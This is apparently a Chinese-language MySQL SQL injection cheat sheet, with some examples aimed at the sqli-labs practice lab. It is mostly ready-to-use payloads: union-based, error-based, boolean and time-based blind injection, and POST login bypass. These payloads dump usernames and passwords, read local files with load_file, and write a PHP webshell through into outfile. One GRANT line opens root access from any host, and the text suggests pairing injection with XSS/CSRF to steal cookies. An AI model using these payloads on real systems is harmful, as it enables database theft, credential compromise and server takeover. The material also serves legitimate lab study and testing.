目錄：
0x00 mysql一般注入(select)
0x01 mysql一般注入(insert、update)
0x02 mysql報錯注入
0x03 mysql一般盲注
0x04 mysql時間盲注
0x05 mysql其他注入技巧
0x06 mysql數據庫版本特性
正文：
0x00 mysql一般注入(select)
1.注釋符
#
/*
--
2.過濾空格注入
使用/**/或()或+代替空格
%0c = form feed, new page
%09 = horizontal tab
%0d = carriage return
%0a = line feed, new line
3.多條數據顯示
concat()
group_concat()
concat_ws()
4.相關函數
system_user() 系統用戶名
user() 用戶名
current_user 當前用戶名
session_user()連接數據庫的用戶名
database() 數據庫名
version() MYSQL數據庫版本
load_file() MYSQL讀取本地文件的函數
@@datadir 讀取數據庫路徑
@@basedir MYSQL 安裝路徑
@@version_compile_os 操作系統 Windows Server 2003
GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;
5.mysql一般注入語句
判斷注入類型
- 加單引號’
比如：從報錯信息判斷，令id=-1’，報錯：
(為什么是id = -1不是1，因為源碼有limit 0，1限制只輸出第一條數據，若是1，則輸出id=1的數據，我們想要的數據就顯示不了，所以用-1就只輸出我們要的數據)
-
或者用id =1 and 1=2 來使語句為假。
將near和at之間字符串的左右引號去掉，得到'-1'') LIMIT 0,1。-1的右邊多了一個'，后面還有個括號，代碼應該是id=('$id')
則需要閉合（‘ ’）
- 加雙引號”
單引號沒反應，可能是由雙引號閉合了，單引號在雙引號內是合法的，此時加雙引號“測試。
猜字段數
order by n/*
查看mysql基本信息
- and 1=2 的作用是，令前面id=1 and 1=2 為假，不輸出內容，這樣就可以輸出我們后面union 語句的內容了。
and 1=2 union select 1,2,3,concat_ws(char(32,58,32),0x7c,user(),database(),version()),5,6,7/*
查詢數據庫
and 1=2 union select 1,schema_name,3,4 from information_schema.schemata limit 1,1/*
and 1=2 union select 1,group_concat(schema_name),3,4 from information_schema.schemata/*
查詢表名
and 1=2 union select 1,2,3,4,table_name,5 from information_schema.tables where table_schema=數據庫的16進制編碼 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(table_name),5 from information_schema.tables where table_schema=數據庫的16進制編碼/*
查詢字段
and 1=2 union select 1,2,3,4,column_name,5,6,7 from information_schema.columns where table_name=表名的十六進制編碼 and table_schema=數據庫的16進制編碼 limit 1,1/*
and 1=2 union select 1,2,3,4,group_concat(column_name),5,6,7 from information_schema.columns where table_name=表名的十六進制編碼 and table_schema=數據庫的16進制編碼/*
查詢數據
and 1=2 union select 1,2,3,字段1,5,字段2,7,8 from 數據庫.表/*
and 1=2 union select 1,username,password from users limit 0,1 %23
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users-- -
判斷是否具有讀寫權限
and (select count(*) from mysql.user)>0/*
and (select count(file_priv) from mysql.user)>0/*
6.mysql讀取寫入文件
必備條件：
讀：file權限必備
寫：
- 絕對路徑
- union使用
- 可以使用''
-------------------------讀----------------------
mysql3.x讀取方法
create table a(cmd text);
load data infile 'c:\\xxx\\xxx\\xxx.txt' into table a;
select * from a;
mysql4.x讀取方法
除上述方法還可以使用load_file()
create table a(cmd text);
insert into a(cmd) values(load_file('c:\\ddd\\ddd\\ddd.txt'));
select * from a;
mysql5.x讀取方法
上述兩種都可以
load_file(char(32,26,56,66))
load_file(0x633A5C626F6F742E696E69)
------------寫--------------------------
into outfile寫文件
union select 1,2,3,char(這里寫入你轉換成10進制或16進制的一句話木馬代碼),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*
union select 1,2,3,load_file('d:\web\logo123.jpg'),5,6,7,8,9,10,7 into outfile 'd:\web\90team.php'/*
0x01 mysql一般注入(insert、update)
mysql一般請求mysql_query不支持多語句執行，mysqli可以。
insert注入多使用報錯注入!
1. 如果可以直接插入管理員可以直接使用!
insert into user(username,password) values('xxxx',' xxxx'),('dddd','dddd')/* ');
2. 如果可以插入一些數據，這些數據會在網頁中顯示，我們可以結合xxs和csrf來獲取cookies或getshell
update注入同上
0x02 mysql報錯注入
1. [sqli-lab-less5(get)/13(post):正常情況不輸出任何數據，所以要用報錯注入的方法]
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
2. and(select 1 from(select count(*),concat((select (select (語句)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
語句處填入一般一句，如：SELECT distinct concat(0x7e,0x27,schema_name,0x27,0x7e) FROM information_schema.schemata LIMIT 0,1
3. and+1=(select+*+from+(select+NAME_CONST((語句),1),NAME_CONST((語句),1))+as+x)--
4.update web_ids set host='www.0x50sec.org' where id =1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (語句)),1,62)))a from information_schema.tables group by a)b);
5.insert into web_ids(host) values((select (1) from mysql.user where 1=1 aNd (SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(substring((Select (語句)),1,62)))a from information_schema.tables group by a)b)));
0x03 mysql基于布爾的盲注
- 盲注：沒有返回錯誤信息，用盲注
- 基于布爾型：
or 1=1
and 1=1
使用ascii
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<115 ) -- +
AND ascii(substring((SELECT password FROM users where id=1),1,1))=49
使用正則表達式
and 1=(SELECT 1 FROM information_schema.tables WHERE TABLE_SCHEMA="blind_sqli" AND table_name REGEXP '^[a-n]' LIMIT 0,1)
0x04 mysql基于時間的盲注
- 基于時間：
and sleep(5) -- -
1170 union select if(substring(current,1,1)=char(11),benchmark(5000000,encode('msg','by 5 seconds')),null) from (select database() as current) as tbl
UNION SELECT IF(SUBSTRING(Password,1,1)='a',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root'
0x05 mysql其他注入技巧
1 outfile 注入[sqli-labs-less-7]
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) union select 1,2,3 into outfile "C:/wamp/www/sqli-labs-master/Less-7/2.txt" --+
2 post 方法(and 改成or)
2.1[sqli-labs-less-11]
-
單引號測試
-
知道是單引號類型，抓包看post參數
抓包知道參數是uname，passwd和submit
-
測試 ‘ or 1=1 -- -
測試登陸成功 payload
- 判斷字段數
uname=123' order by 2-- - &passwd=123&submit=Submit - 爆數據庫
uname=123' union select database(),version() -- - &passwd=123&submit=Submit - 爆表
uname=123' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database( ) -- - &passwd=123&submit=Submit - 爆字段
uname=123' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()-- - &passwd=123&submit=Submit - 爆數據
uname=123' union select username,password from security.users limit 0,1-- - &passwd=123&submit=Submit
2.2 post-報錯注入 [sqli-labs-less-13]
- 正常不顯示任何數據--報錯注入
- 爆庫
uname=123') or (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit - 爆表
uname=123') or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit - 爆字段
uname=123') or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
4.爆數據
uname=123') or (select 1 from (select count(*),concat((select username from security.users limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) -- - &passwd=123&submit=Submit
0x06 mysql數據庫版本特性
1. mysql5.0以后 information.schema庫出現
2. mysql5.1以后 udf 導入xx\lib\plugin\ 目錄下
3. mysql5.x以后 system執行命令
0x07 聲明
原文地址：http://lanu.sinaapp.com/PHP_study/108.html
報錯注入：http://www.waitalone.cn/mysql-error-based-injection.html
